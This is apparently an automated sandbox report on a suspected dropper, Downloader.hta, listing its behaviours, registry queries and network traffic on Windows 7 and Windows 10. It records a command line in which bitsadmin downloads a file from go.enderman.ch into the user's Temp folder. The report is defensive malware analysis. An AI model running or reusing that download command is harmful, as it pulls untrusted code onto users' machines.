Malware Analysis Report

2024-10-24 20:52

Sample ID 240828-sls6msvfrn
Target Downloader.hta
SHA256 a536c510d65bb3cfd573a05e0107ab46f427f804431970ecb18c7f173a9ccafd
Tags
discovery dropper
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

a536c510d65bb3cfd573a05e0107ab46f427f804431970ecb18c7f173a9ccafd

Threat Level: Likely malicious

The file Downloader.hta was found to be: Likely malicious.

Malicious Activity Summary

discovery dropper

Download via BitsAdmin

Checks computer location settings

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-28 15:13

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-28 15:13

Reported

2024-08-28 15:16

Platform

win7-20240708-en

Max time kernel

121s

Max time network

123s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2112 wrote to memory of 592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2112 wrote to memory of 592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2112 wrote to memory of 592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2112 wrote to memory of 592 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://go.enderman.ch/youtube C:\Users\Admin\AppData\Local\Temp\sex

Network

Country Destination Domain Proto
US 8.8.8.8:53 go.enderman.ch udp
US 172.67.144.187:443 go.enderman.ch tcp
US 172.67.144.187:443 go.enderman.ch tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-28 15:13

Reported

2024-08-28 15:18

Platform

win10v2004-20240802-en

Max time kernel

131s

Max time network

205s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3368 wrote to memory of 2984 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3368 wrote to memory of 2984 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3368 wrote to memory of 2984 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://go.enderman.ch/youtube C:\Users\Admin\AppData\Local\Temp\sex

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 go.enderman.ch udp
US 172.67.144.187:443 go.enderman.ch tcp
US 8.8.8.8:53 187.144.67.172.in-addr.arpa udp
US 8.8.8.8:53 youtube.com udp
GB 216.58.201.110:443 youtube.com tcp
US 8.8.8.8:53 110.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 www.youtube.com udp
GB 142.250.178.14:443 www.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
GB 216.58.201.110:443 consent.youtube.com tcp
US 8.8.8.8:53 14.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 30.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp

Files

N/A